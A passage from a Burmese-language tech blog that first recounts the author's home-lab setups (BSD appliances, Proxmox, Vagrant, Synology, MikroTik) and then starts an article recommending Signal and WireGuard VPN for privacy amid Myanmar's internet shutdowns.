တွေကို တဖန်သုံးပြန်ပါတယ်။

BSD ကို pfSense/OPNsense လိုမျိုး internet gateway firewall appliance အပြင်၊ FreeNAS / TrueNAS ဆိုတဲ့ enterprise grade NAS appliance အနေနဲ့လည်းသုံးခဲ့ဖူးပါတယ်။ သူ့မှာပါဝင်တဲ့ feature တွေက တော်တော်လည်းစုံပါတယ်။ ZFS ကို filesystem အနေနဲ့ အသုံးပြုပြီးတော့ စမ်းသပ်လို့ရနိုင်သမျှတွေကို စမ်းသပ်ဖြစ်ခဲ့ပါတယ်။ စာရေးသူ အနေနဲ့တော့ set and forget လိုမျိုး system တွေကို ကိုယ့်အိမ်အတွက် setup လုပ်ချင်ရင်တော့ BSD ကို အခြေခံထားတဲ့ appliance တွေကို စမ်းသပ်အသုံးပြုသင့်ပါတယ်။ သို့သော်... Linux လိုမျိုး Desktop Environment (DE) နဲ့သုံးရင်တော့ ထင်သလောက်အဆင်ပြေမှာ မဟုတ်ပါဘူး။ ပြောင်းလဲပြီးတော့ ကြိုးစားကြည့်ပါသေးတယ်။ ကိုယ်သုံးနေကျ Linux က workflow တော်တော်များများကို တိုက်ရိုက်ပြောင်းလဲယူသုံးဖို့ မလွယ်ခဲ့ပါဘူး။ OPNsense တို့၊ TrueNAS တို့လိုမျိုး appliance အနေနဲ့တော့ သုံးဖို့တော်တော်လေး အဆင်ပြေတဲ့ operating system တခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-86cec455b70b9e1914745c51fe0692b8d3c15051%2FQotom%20mini%20PC%20%26%20Synology%20NAS.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီစာကိုရေးနေရင်း TrueNAS သတင်းတက်လာတာက၊ BSD ကိုအခြေခံပြီးတော့ NAS appliance လုပ်ထားတဲ့ TrueNAS Core ကိုအဆုံးလိုက်ပြီဆိုတဲ့ သတင်းပဲဖြစ်ပါတယ်။ TrueNAS Scale ကတော့ Debian ကိုအခြေခံထားတာဖြစ်ပြီး၊ နောက်ပိုင်းလူသုံး ပိုများလာလို့လည်း ထင်ပါတယ်။ စာရေးသူ အမြင်မှတော့ BSD ကိုလည်း တဘက်ကလည်း ရသလောက် သိထားလေ့လာသင့်ထားတဲ့ operating system (OS) လို့ထင်ပါတယ်။ Opensource ကမ္ဘာအတွက် Plan B ဆိုရင်လည်း မမှားနိုင်ပါဘူး။

### version 2.0

#### Crazy little thing called Proxmox

Windows Server 2012 R2 ကို production environment အနေနဲ့တော်တော်ကြာကြာသုံးပြီးနောက်မှာတော့၊ end of life မတိုင်ခင် တစ်နှစ်၊ နှစ်နှစ်လောက်မှာ setup လုပ်တဲ့ပုံပြောင်းချင်စိတ်ပေါက်လာပါတော့တယ်။ အရင်ဆုံး VMware ESXi ကို သုံးဖို့စိတ်ကူးဖြစ်ပါတယ်။ သို့သော်... latest ISO ကို ရဖို့အတွက် VMware အကောင့်နဲ့ဝင်ရ download ဆွဲရဆိုတော့ စိတ်ထဲမှာအရင်တုန်းကလိုမျိုး စိတ်မရှည်တော့ပါ။ ဒါနဲ့ Promox ကိုစမ်းသပ်ဖို့ စတင်စိတ်ဝင်စားခဲ့ပါတော့တယ်။ Enterprise နဲ့ Data Centre တွေမှာ Promox ကို Hypervisor အနေနဲ့သုံးတာ စာရေးသူမကြုံဘူးပါ။ VMware vSphere နဲ့ vCenter၊ ဒါမှမဟုတ်ရင် Linux QEMU/KVM နဲ့ OpenStack တို့ကို အသုံးများကြတယ်လို့ သိထားခဲ့ပါတယ်။ Proxmox ကတော့ Debian Linux QEMU/KVM ကို VMware ESXi လိုသုံးရလွယ်အောင်လုပ်ပေးထားတဲ့ hypervisor တခုဖြစ်ပါတယ်။ ပိုပြီးတော့ စိတ်ဝင်စားဖို့ကောင်းတာက LXD/LXC ကို out-of-the-box experience အနေနဲ့ ထည့်ပေးထားပါတယ်။ ရှိတဲ့ hardware ပေါ်မှာပဲ Windows Server 2012 R2 ကိုဖြုတ်ပြီး Proxmox ကိုပြန်လည် installation လုပ်ပြီးတော့ စတင်အသုံးပြုခဲ့ပါတယ်။

Proxmox ပေါ်မှာမှ VM တွေ၊ LXC တွေကို run ပြီးတော့ ကိုယ်လိုချင်တဲ့ service ကို spin up လုပ်ပါတယ်။ ဥပမာ - TrueNAS ကို VM အနေနဲ့ install လုပ်ပြီးတော့၊ WD Red NAS drive တွေကို အဲ့ဒီ VM ဆီကို pass-thru လုပ်ပြီး NAS ကို setup လုပ်ပါတယ်။ Plex တို့၊ Docker တို့လိုမျိုး service တွေကိုတော့ LXC နဲ့ပဲ setup လုပ်ပါတော့တယ်။ Docker container တွေကို LXC container ပေါ်မှာတင် run တဲ့အတွက် resource utilisation ကတော်တော်လေးကို efficient ဖြစ်ခဲ့ပါတယ်။ စာရေးသူလည်း LXC ရဲ့ power ကိုအဲ့ဒီအချိန်ကျမှ အပြည့်အဝ unleash လုပ်ဖြစ်ခဲ့တယ်လို့ ဆိုရမှာပါ။

#### Big boy Lenovo ThinkStation

COVID-19 ကာလအတွင်းမှာ ဘာစိတ်ကူးပေါက်မှန်းမသိ Lenovo ရဲ့ ThinkStation အဟောင်းတွေကိုဝယ်ပြီး home lab server အဖြစ်စမ်းသုံးချင်မိလာတယ်။ ဒါနဲ့ပဲ Lenovo ရဲ့ ThinkStation E32 တခုနဲ့ ThinkStation C30 တခုကိုဝယ်ပြီး စာရေးသူအိမ်မှာ lab server အနေနဲ့ စပြီးသုံးဖြစ်ပြန်ပါတယ်။ နောက်ပိုင်းမှာတော့ E32 ကို Desktop အနေနဲ့သုံးပြီး C30 ကိုပဲ dedicated home lab အနေနဲ့ Proxmox ကို install လုပ်ပြီးသုံးလာတာအခုအချိန်ထိပါပဲ။ ThinkStation တခုချင်းစီမှာပါတဲ့ hardware specs တွေကိုအောက်မှာဖော်ပြပေးထားပါတယ်။

**Lenovo ThinkStation E32**

Memory: 32 GB

Processor: 4 x Intel(R) Xeon(R) CPU E3-1225 v3 @ 3.20GHZ

Graphic: NVIDIA GK107GL (Quadro K2000)

Disk capacity: 2.5 TB (Mix of SSDs and HDD)

**Lenovo ThinkStation C30**

Memory: 128 GB

Processor: 24 x Intel(R) Xeon(R) CPU E5-2630 v2 @ 2.60GHz (2 Sockets)

Disk capacity: 3.25 TB (Mix of SSD and HDDs)

ဒီ hardware platform တွေကို server အသွင်နဲ့အသုံးပြုရတာ တော်တော်လေးကိုအားရပါတယ်။ ပြဿနာက သူ့ရဲ့ power consumption ကြောင့်အမြဲတန်း run ထားဖို့သိပ်တော့အဆင်ပြေမယ်မထင်ပါ။ ဒါ့အပြင် Dell နဲ့ Lenovo က PC case တွေက အတွင်းမှာ hardware ထပ်တိုးထည့်ချင်တာတို့၊ လဲချင်တာတို့ ဆိုရင်တော့ ဖြုတ်ရတပ်ရတာ customise လုပ်ထားတဲ့ case လောက်မရိုးရှင်းလှပါဘူး။ အရမ်းတော့လည်း မခက်လှပါ။ သို့သော်... သူ့ hardware တွေနဲ့ အလုပ်မလုပ်ဘူးရင် နည်းနည်းတော့တိုင်ပတ်နိုင်ပါတယ်။ Lenovo ရဲ့ ThinkStation E32 နဲ့ ThinkStation C30 ဟာ စာရေးသူအတွက် home lab လုပ်သမျှထဲမှာ အဆင်ပြေတဲ့ platform တွေဖြစ်တဲ့အတွက်၊ rackable server တွေနဲ့ နှိုင်းယှဉ်လိုက်ရင် power consumption အတွက်ရော၊ noise အတွက်ပါ သက်သာတဲ့ option တခုပါ။ ဒါမှမဟုတ်ပဲနဲ့ ကိုယ်က အဲ့ဒီနှစ်ခုလုံးမှာ conscious ဖြစ်တဲ့ နည်းပညာသမားဆိုရင်တော့ ဒီထက်ကောင်းတဲ့ ရွေးချယ်စရာတွေရှိပါသေးတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-51cd539d524ec84359ec8766d9831646aab581f7%2FBig%20Boys.jpg?alt=media" alt=""><figcaption></figcaption></figure>

#### V for Vagrant

များသောအားဖြင့် စာရေးသူသုံးတဲ့ PC မှာလုံလောက်တဲ့ resource မရှိလို့ သီးသန့် home lab server မှာကိုယ်စမ်းသပ်ချင်တဲ့ဟာတွေကို ခွဲပြီးတော့ setup လုပ်လေ့ရှိပါတယ်။ Lenovo ThinkStation လိုမျိုး platform တွေစသုံးတော့မှ Virtualbox ကို install လုပ်ပြီး VM တွေကို locally ပဲ run ပြီးတော့ စတင်စမ်းသပ်တာများလာပါတယ်။ Lab environment တွေကို အခေါက်ခေါက်အခါခါ တည်ဆောက်လိုက်၊ ပြန်ဖျက်လိုက် လုပ်ရင်းနဲ့ ကြာလာတော့ နည်းနည်းစိတ်ကုန်လာပြန်ပါတယ်။ Virtualbox VM ကို setup လုပ်တာ၊ operating system ကို configure လုပ်ရတာ၊ install လုပ်ရတာများလာတော့ ဒီထက်များပိုပြီးလွယ်နိုင်သေးလားတွေးပြီးရှာဖွေကြည့်ရာကနေ HashiCorp ရဲ့ Vagrant တွေ့ပါတယ်။ အဲ့ဒီအချိန်တုန်းက စာရေးသူကိုယ်တိုင် automation ကိုသဲကြီးမဲကြီး စိတ်ဝင်စားနေတဲ့ အချိန်လည်းဖြစ်တာမို့၊ Vagrant လိုမျိုး workflow ကို အရမ်းကြွေခဲ့ရတဲ့အချိန်ပေါ့။ Concept ကတော့ Docker ကို container အတွက်သုံးဖူးရင်၊ Vagrant ဟာ virtual machine (VM) အတွက် orchestration tool တခုပါ။ အသေးစိတ်ကို ဒီ article မှာမသွားတော့ပါဘူး။ စိတ်ဝင်စားလို့ Vagrant အကြောင်း အသေးစိတ် ဖတ်ချင်ရင် ဒီလင့် [Vagrant မိတ်ဆက်](https://my.itmatic101.com/automation/rough-edges-iac-part2#vagrant-meiksaet) ကနေ တဆင့်သွားရောက်ဖတ်ရှုနိုင်ပါတယ်။

Vagrant ကိုစတင်ရှာဖွေတွေ့ရှိကတည်း တကူးတက home lab server ကို power ဖွင့်ပြီး lab လုပ်တာသိပ်မရှိတော့ပါဘူး။ များသောအားဖြင့် ကိုယ်စမ်းသပ်ချင်တဲ့ဟာကို Vagrant နဲ့ Virtualbox ကို provider လုပ်၊ Ansible ကို provisioner ထားပြီး reproducible infrastructure ပုံစံမျိုးသုံးဖြစ်တာများလာပါတယ်။ စမ်းသပ်ပြီးသွားလို့ အခြားသူတွေအတွက် အဲ့ဒီ lab ကို share ချင်တယ်ဆိုရင်လည်း၊ Vagrantfile နဲ့ Ansible playbook ကို GitHub သို့မဟုတ်၊ GitLab မှာတင်ပေးလိုက်ရုံနဲ့ ကိစ္စကပျက်ပါတယ်။ Reproducible Infrastructure as Code (IaC) ရဲ့ မတူထူးခြားတဲ့ စွမ်းဆောင်ချက်တခုလို့ ဆိုရမှာပါ။ ဘယ်ငပျင်း မကြိုက်ပဲနေမလဲလို့ အခုပဲတွေးပြီး ကိုယ်ဟာကိုပြုံးမိပါသေးရဲ့။

### version 3.0

#### Lazy admin NAS

မကြာသေးခင်ကမှ production environment ကို run ထားတဲ့ Proxmox host ပေါ်မှာ update လုပ်ရင်း၊ ဘာဖြစ်လို့ဖြစ်မှန်းမသိပဲနဲ့၊ access လုပ်လို့မရဖြစ်သွားပါတယ်။ Troubleshoot လုပ်တာ တစ်ရက်ကနေ နှစ်ရက်ဖြစ်လာပါတယ်။ ရှိသမျှ data တွေကိုတော့ backup လုပ်ထားတဲ့အတွက် နောက်ဆုံးစိတ်ပိုင်းဖျက်လိုက်ပြီး Synology NAS တလုံးဝယ်ဖြစ်သွားပါတယ်။ စာရေးသူ အနေနဲ့ အသက်လေးလည်းနည်းနည်းရလာ၊ စိတ်လည်းအရင်လောက် သိပ်မရှည်ဖြစ်လာပါတယ်။ ရှိပြီးသား WD Red NAS drive တွေကိုပဲ Synology NAS မှာပြန်သုံးဖြစ်ပါတယ်။ အရင်တုန်းကလည်း customer တွေရဲ့ environment မှာ Synology NAS တော်တော်များကို setup / maintain လုပ်ပေးဖူးပါတယ်။ ဒီတော့ အသုံးပြုရတာလွယ်ကူပြီး၊ feature မှာလည်း တော်တော်စုံလင်တာမို့ Synology ကိုပဲရွေးဖြစ်သွားပါတယ်။ အောက်မှာတော့ အဲ့ဒီ NAS ရဲ့ specs ကို ဖော်ပြပေးထားပါတယ်။

**Synology DiskStation DS923+**

Memory: 4 GB

Processor: AMD Ryzen R1600 2-core 2.6 (base) / 3.1 (turbo) GHz

Disk configuration: 4 x 2 TB

RAID configuration: Synology Hybrid RAID (SHR / With data protection for 2-drive fault tolerance)

Disk capacity: 3.6 TB

Local backup အတွက် 5 TB external hard disk တခုကို USB 3.0 နဲ့သုံးပါတယ်။ Remote backup အတွက်တော့ Backblaze B2 ကိုသုံးပါတယ်။ ညတိုင်း local backup နဲ့၊ remote backup ကို run ဖို့ schedule လုပ်ဖို့ အတွက် Synology NAS မှာလိုအပ်တဲ့ package တွေအကုန်ရှိပါတယ်။ တကယ့်ကို lazy admin တစ်ယောက်အတွက် အံဝင်ခွင်ကျတဲ့ NAS setup လို့ပြောရမှာဖြစ်ပါတယ်။ ဒီ NAS နဲ့ပဲ လိုအပ်တဲ့ storage ပြဿနာကို ဖြေရှင်းနိုင်ခဲ့ပါတယ်။

#### Small is mini PC

အထက်မှာပြောသလိုပဲ pfSense / OPNsense နဲ့တွဲပြီးသုံးလို့ ရမယ့် hardware ကိုရှာကြည့်တဲ့အခါမှာ Qotom ဆိုတဲ့ mini PC တွေထုတ်တဲ့ company တခုကိုတွေ့ပါတယ်။ Intel Celeron Processor J1900 ကိုသုံးပြီးတော့ nano ITX form factor မှာ Ethernet port ၄ခုနဲ့လာပါတယ်။ Internet gateway / firewall လုပ်ဖို့အတွက် လူကြိုက်များတဲ့ hardware platform တခုပါ။ Specs အနေနဲ့ အရမ်းမမြင့်ပေမယ့်လည်း အိမ်မှာအသုံးပြုဖို့ firewall / gateway router တခုအတွက်တော့ လုံလောက်ပါတယ်။ အဲ့ဒီ hardware လေးနဲ့ပဲ၊ pfSense ကိုလပိုင်း အနည်းငယ်အသုံးပြုပြီးနောက်၊ OPNsense ကိုတော်တော်ကြာကြာ အသုံးပြုဖြစ်ခဲ့ပါတယ်။

နောက်ပိုင်းမှာတော့ အသုံးပြုတဲ့ hardware အရေအတွက်လျှော့ချင်လို့၊ အိမ်မှာသုံးဖို့အတွက် gateway router နဲ့ wireless တခါတည်းပါတဲ့ Mikrotik ကိုပြောင်းပြီးတော့ သုံးဖြစ်ပါတယ်။ ဒီ mini PC မှာက built-in wireless မပါတာကြောင့် Linksys wifi router တခုကို bridge mode နဲ့ wifi access point အနေနဲ့သုံးရပါတယ်။ စာရေးသူ အနေနဲ့ minimalist ပုံစံမျိုးကို ပိုပြီးတော့ ကြိုက်နှစ်သက်တာကြောင့် အခုတလော Intel N100 mini PC တွေကို မျက်စိအတော်ကျနေမိပြန်ပါတယ်။ Raspberry Pi လို SoC ARM platform တွေက အရင်လိုမျိုး ရှာရတာမလွယ်ပါ၊ စျေးလည်း ထင်သလောက်မသက်သာတာကြောင့် Intel ရဲ့ low budget CPU နဲ့လာတဲ့ mini PC တွေကို home server / home lab အနေနဲ့ အသုံးပြုတာပိုပြီး လက်တွေ့ကျပါတယ်။ ဒါကြောင့်လည်း အရင်က OPNsense firewall အနေနဲ့ အသုံးပြုတဲ့ mini PC ကို အခုလက်ရှိမှာ Proxmox တင်ပြီး အဓိက home server အနေနဲ့ ပြန်လည် setup လုပ်ထားပါတယ်။ VM ထက်စာရင် LXC ကပိုပြီး lightweight ဖြစ်တာကြောင့်လည်း စာရေးသူ LXC ကိုပဲ အဲ့ဒီ mini PC ပေါ်မှာအသုံးပြုဖြစ်ပါတယ်။ နောက် article တခုမှပဲ ဘာတွေကို ဘယ်လိုမျိုး setup လုပ်ပြီး အသုံးပြုသလဲဆိုတာကို အသေးစိတ်ရေးပါ့မယ်။

#### Love of my Net

Mikrotik ဆိုတဲ့ networking vendor ကတော့ စာရေးသူ ISP မှာ network engineer လုပ်တုန်းက အကျွမ်းဝင်လာတဲ့ network platform တခုပါ။ Cisco တို့၊ Juniper တို့လိုမျိုး flashy အရမ်းမဖြစ်ပေမယ့် လက်တွေ့မှာ အရမ်းကိုလက်တွေ့ကျတာကြောင့် စာရေးသူ တော်တော်လေး ကြိုက်နှစ်သက်တာ အမှန်ပါ။ ကိုယ့်မိသားစုပဲ ဖြစ်ဖြစ်၊ ကိုယ့် မိတ်ဆွေထဲကပဲဖြစ်ဖြစ် အိမ်မှာ internet setup လုပ်ဖို့အတွက်ဆိုရင် စာရေးသူ Mikrotik ရဲ့ hAP တွေကို recommend လုပ်ပြီး၊ ကိုယ်တိုင် setup လုပ်ပေးလေ့ရှိပါတယ်။ Networking basic နဲ့ Mikrotik ရဲ့ RouterOS ကို သုံးနေကျမဟုတ်ရင်၊ အစပိုင်းမှာ အနည်းငယ်အခက်တွေ့နိုင်ပါတယ်။ အရမ်းကို versatile ဖြစ်တဲ့ networking platform တခုဖြစ်လို့၊ စာရေးသူဖြင့် သုံးလေကြိုက်လေဖြစ်ရပါတော့တယ်။ ဒါကြောင့်လည်း hAP အပြင်၊ မကြာသေးခင်ကမှ L009UiGS-2HaxD-IN ဆိုတဲ့ model တခုကို အိမ်မှာသုံးဖို့အတွက် ထပ်တခါဝယ်မိပြန်ပါတယ်။ လက်ရှိမှာ အဲ့ဒီ L009UiGS-2HaxD-IN ကို gateway router / firewall / wifi access point (AP) အနေနဲ့ အသုံးပြုဖြစ်နေပါတယ်။ hAP အဟောင်းတခုကို travel router အနေနဲ့ ပြောင်းလဲပြီး သုံးဖြစ်ပြန်ပါတယ်။ Mikrotik ရဲ့ routerOS မှာ ကိုယ်သုံးချင်တဲ့ feature တွေကို ဘယ်လိုမျိုး configure လုပ်ရသလဲဆိုတာကို အခြား tutorial ဆန်ဆန် article လေးတွေမှာ ကြုံရင်ကြုံသလို ရေးပါအုံးမယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9a48287a401946d454eaae72d65c716a082717b4%2FL009UiGS-2HaxD-IN.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

## Final thoughts

ဒါကတော့... အိမ်မှာကိုယ်ပိုင် home lab / home server ရှိခြင်းဖြင့် ကိုယ်တိုင်လေ့လာခွင့်၊ ကိုယ်တိုင် စူးစမ်းခွင့်ရနိုင်တာကို ထင်ရှားစေလိုပါတယ်။ Home lab ရှိတာကြောင့် အသစ်အသစ်သော opensource နည်းပညာတွေကို လုပ်ငန်းခွင်မှာတင်မဟုတ်ပဲ၊ ကိုယ့်အိမ်မှာပါ ထပ်လောင်းလေ့လာခွင့်ရမှာပါ။ ဒါ့အပြင် home server နဲ့ ကိုယ့်အိမ်မှာ သုံးတဲ့ production environment တခုရှိတဲ့အတွက် လက်တွေ့သုံးတဲ့အခါ ကြုံတွေ့နေကျ troubleshooting process တခုကိုလည်း လေ့လာပြီးသားဖြစ်နိုင်ပါတယ်။ Lab တခုကို setup လုပ်ပြီးသွားလို့ အခြားဘာတွေလုပ်လို့ရနိုင်သေးသလဲဆိုတာသိချင်ရင် ကိုယ့်အိမ်မှာ လက်တွေ့သုံးကြည့်တာ၊ integrate လုပ်ကြည့်တာလောက် အကျိုးဖြစ်ထွန်းနိုင်တာ မရှိပါဘူး။ ဒါ့ကြောင့်လည်း နည်းပညာတခုကို တကယ်တတ်ချင်လေ့လာချင်ရင် home lab တွေ၊ home server တွေ အိမ်မှာရှိအောင်လို့ တိုက်တွန်းလိုပါတယ်။ လက်တွေ့လေ့ကျင့်တာ စမ်းသပ်တာ အကောင်းဆုံးသော လေ့လာနည်းတခုလည်းဖြစ်ပါတယ်။


# ကိုယ့်လုံခြုံရေးအတွက် အသုံးပြုသင့်တဲ့ toolkit လေးများ

လက်ရှိတွင် မြန်မာနိုင်ငံတွင်းနေ ပြည်သူများမှာ internet ကိုညစဉ်ဖျက်တောက်ခြင်းကြောင့် ညတိုင်း ဘာတွေလုပ်လို့လုပ်မှန် မသိရသဖြင့် လူတိုင်းသံသယ ဝင်ရပါတော့တယ်။ ဒီတပတ်ထဲမှာတော့ တွေးစရာလေးတွေ အများကြီးဖြစ်လာပါတော့တယ်။ လူတွေလည်း ထင်ကြေးမျိုးစုံနဲ့ တရုတ်က နည်းပညာကိုအကူအညီနဲ့ the great firewall တစ်ခုတည်ဆောက်ပြီးတော့ ညတိုင်းစမ်းသပ်တာလည်း ဖြစ်နိုင်တယ်ဆိုတဲ့ တွေးယူကြပုံတွေလည်း ထွက်လာတာမို့ နှောင်များအခါ ကိုယ့်နိုင်ငံတွင်းမှာ အသုံးပြုတဲ့ internet ဟာ မြောက်ကိုရီးယားတို့၊ တရုတ်တို့မှာလိုမျိုး အရမ်းကြီးကို ကန့်သတ်လာနိုင်ပါတယ်။ မည်သို့ပင် ဖြစ်စေကာမူ တရုတ်ပြည်က တင်းကျပ်လှပါပြီဆိုတဲ့ နိုင်ငံမှာတောင်မှ internet connection ရှိနေသရွေ့တော့ တနည်းမဟုတ် တနည်းနဲ့တော့ bypass လုပ်လို့ရနေသေးတာဖြစ်လို့ အားလုံးကို lockdown လုပ်ဖြစ်ဖို့ မဖြစ်နိုင်သေးပါဘူး။ Internet ဆိုတာက အများပိုင် နိုင်ငံတိုင်းပိုင်တဲ့ highway တစ်ခုဖြစ်လို့ အာဏာသိမ်းစစ်တပ် ကလည်းအသုံးပြုနေသေးသရွေ့တော့ လူတွေသုံးသမျှ တစ်ခုချင်းစီကို လိုက်ပြီးတော့ ပိတ်ဆို့လို့မရတာတော့ အမှန်ပါ။ နောက်တစ်ခု ပြောနေကြတာက internet ကိုညမှာပိတ်ပြီးတော့ packet sniffer စနစ်ကို တည်ဆောက်နေပြီးတော့ surveillance လုပ်ဖို့ရှိလာနိုင်တယ်လို့လည်း ကြားရပါတယ်။ နိုင်ငံတကာ Tier 1 နဲ့ Tier 2 အဆင့်ရှိတဲ့ ISP အချို့မှာလည်း Deep Packet Inspection (DPI) လို့ခေါ်တဲ့ packet filter/sniffer တွေကို အသုံးပြုကြတယ်လို့ စာရေးသူ သိထားပါတယ်။ ဒီလိုမျိုး DPI စနစ်တစ်ခုတည်ဆောက်ဖို့ဆိုတာလည်း တနိုင်ငံလုံးစာအတွက် internet ထွက်ပေါက်တွေ အကုန်လုံးမှာ တပ်ဆင်ဖို့ အသုံးပြုဖို့ ဆိုတာက တော်တော်လေးကို မလွယ်တဲ့ ကိစ္စပါ။ သို့သော် တရုတ်နိုင်ငံလိုမျိုး နည်းပညာပိုင်းမှာ အများကြီးတိုးတက်နေတဲ့ ကွန်မြူနစ် နိုင်ငံမျိုးမှာတော့ သူတို့မလွှဲမသွေ သုံးနိုင်ချေရှိပါတယ်။ အမေရိကန်နိုင်ငံရဲ့ NSA လိုမျိုး အဖွဲ့တွေမှာတောင် Edward Snowden အပြောအရတော့ နိုင်ငံတော်လုံခြုံရေးအတွက်ဆိုတဲ့ အကြောင်းပြချက်တွေနဲ့ ကြိုက်သလို ဖုန်းနဲ့ internet data traffic တွေအားလုံးကို surveillance လုပ်နိုင်ချေထောက်တော့ တရုတ်ပြည်မှာတော့ သေချာပေါက် လုပ်ပါလိမ့်မယ်။ ဒီလိုမျိုး နိုင်ငံရေးအကြောင်းပြချက်ပေါင်းများစွာနဲ့ နိုင်ငံတွေမှာလုပ်တာကို စိတ်ပျက်လို့ privacy နဲ့ ပတ်သတ်ပြီးတော့ ပုံမှန်ပြည်သူတွေအတွက်တော့ တော်တော်လေးကို စိုးရိမ်စရာ အခြေအနေပါ။ အခုလိုမျိုး မြန်မာနိုင်ငံမှာ စစ်တပ်ကအာဏာကို အတင်းကာရော မြန်မာနိုင်ငံ ပြည်သူတွေစီကနေ လုယူပြီးနိုင်ငံရေးမတည်မငြိမ် ဖြစ်နေတာကြောင့် အထက်မှာလူတွေပြောနေကြတဲ့ သတင်းနှစ်ခုလုံးဟာ အများကြီးဖြစ်နိုင်တယ်လို့ ယူဆရပါတယ်။ ဆိုးရွားလွန်းတဲ့ ကိုယ့်နိုင်ငံအခြေအနေတွေကြောင့် အားလုံးဟာ သတိအမြဲရှိနေဖို့လိုပါတယ်။ အထူးသဖြင့် ဒီလိုယုတ်ပက်တဲ့ မြန်မာနိုင်ငံ ခေတ်အဆက်ဆက် စစ်တပ် အာဏာရှင်ကြီးများ လက်ထက်တွေမှာ အူကြောင်ကြောင်နဲ့ သေချာရေရာမူ မရှိတဲ့ ဆက်သွယ်ရေး ဥပဒေပေါင်းများစွာနဲ့ လူတွေကို ဒုက္ခပေး နှိပ်စက်တတ်ကြပါတယ်။ ဒီလိုမျိုးဟာ အသစ်မဟုတ်တဲ့အတွက် အသေးစိတ်ပြောနေစရာတောင်လိုမယ် မထင်ပါ။

ဒီ post မှာတော့ အထက်မှာပြောသလိုမျိုး ဆက်သွယ်ရေးနည်းပညာမှာ ကြားကနေဖြတ်ပြီးတော့ အချက်အလက်တွေကို ယူလို့မရအောင် ကိုယ့်လုံခြုံရေးအတွက် အသုံးပြုနိုင်တဲ့ toolkit တွေအကြောင်းကိုဖော်ပြပေးချင်ပါတယ်။

## 1. Signal messaging app

မြန်မာနိုင်ငံမှာကတော့ ရေပူရအားဖြင့် Facebook ရဲ့ Messengerနဲ့ Viber လိုမျိုး app တွေကိုသုံးကြပါတယ်။ ပြဿနာက Messengerကို Facebook ကပိုင်ပြီးတော့၊ Viber မှာက Russia နဲ့ India က spams တွေများတာကြောင့် နောက်ပိုင်းမှာ မသုံးတော့ပါဘူး။ ဒီလိုပဲ... ဟိုတလောက Whatsapp ကိုပိုင်တဲ့ Facebook က privacy policy အပြောင်းအလဲတွေရှိမယ်ဆိုလို့ လေ့လာကြည့်တာ ကိုယ့်ရဲ့ privacy အတွက် အခြေအနေတော်တော်လေးကို စိုးရိမ်နိုင်ဖွယ်ရှိတာကြောင့် စာရေးသူ ဆက်ပြီးတော့ မသုံးဖြစ်တော့ပါဘူး။ ဒီတော့ ရွေးချယ်စရာ သိပ်အများကြီးမကျန်တော့ပါဘူး။ ဒီ့အပြင် နာမည်ရှိတဲ့ WeChat, Telegram နဲ့ Signal တို့ပဲကျန်ပါတော့တယ်။ ဘာဖြစ်လို့ Signal ကိုရွေးရသလဲဆိုရင် Edward Snowden တို့လိုမျိုး NSA က agent တစ်ယောက်တောင် အမေရိကန်နိုင်ငံ ရဲ့အတွင်းသတင်းဆိုးတွေကို အပြင်ထုတ်ပြီးတော့ တကမ္ဘာလုံးကို ချပြတဲ့အခါမှာ သူ့လုံခြုံရေးအတွက် Signal ကို သုံးတယ်လို့ တနေရာမှာ ဖတ်ရလို့ Signal ကိုတော့ စာရေးသူ မျက်နှာသာအနည်းငယ် ပိုပေးရတာလည်း ဖြစ်ပါတယ်။ Messaging app တွေတော်တော်များကတော့ end-to-end encryption လုပ်တယ်လို့ဆိုပေမယ့်လည်း တကယ်တမ်းမှာတော့ ဘယ်ဟာပိုလုံခြုံသလဲဆိုတာမျိုးက Edward Snowden တို့လိုမျိုး အမေရိကအစိုးရကနေတောင် လိုချင်တဲ့ dissident တစ်ယောက်ကတောင် စိတ်ချလက်ချသုံးသွားတယ်ဆိုတော့ battle tested လုပ်ပြီးသားလို့ ဆိုရမှာပါ။

Signal ကို iOS device တွေမှာအသုံးပြုမယ်ဆိုရင်တော့ အောက်က link မှာ သွားပြီးတော့ download လုပ်ပြီးတော့ install လုပ်လို့ရပါတယ်။

{% embed url="<https://apps.apple.com/au/app/signal-private-messenger/id874139669>" %}

Android device တွေမှာအသုံးပြုမယ်ဆိုရင်တော့ အောက်က link မှာသွားပြီးတော့ ရယူနိုင်ပါတယ်။

{% embed url="<https://play.google.com/store/apps/details?id=org.thoughtcrime.securesms>" %}

## 2. Wireguard VPN

အားလုံးလည်း အခုချိန်လောက်ဆို Wireguard ဆိုတဲ့ နာမည်လေးကို တော်တော်လေး ရင်းနှီးနေလောက်ပါပြီ။ အရှေ့မှာလည်း Wireguard နဲ့ ပတ်သတ်တဲ့ post လေးနှစ်ခုလောက် ရေးသားထားပြီးသားမို့ တော်တော်လေးလည်း လုံလောက်ပြီလို့ ယူဆရပါတယ်။ Wireguard ကို ဒီ post လေးမှာ စပြီးတော့ မိတ်ဆက်ပေးပါတယ်။

{% embed url="<https://my.itmatic101.com/networking/wireguard-intro>" %}

နောက်တခါ ဖေဖော်ဝါရီလ ပထမအပတ်မှာပဲ Linode ရဲ့ VPS ကိုသုံးပြီးတော့ Wireguard နဲ့ VPN server တစ်ခုကိုဘယ်လို တည်ဆောက်လို့ ရသလဲဆိုတာကို အောက်က link မှာဆက်ရှင်းပါတယ်။

{% embed url="<https://my.itmatic101.com/networking/linode-vps-wireguard-vpn>" %}

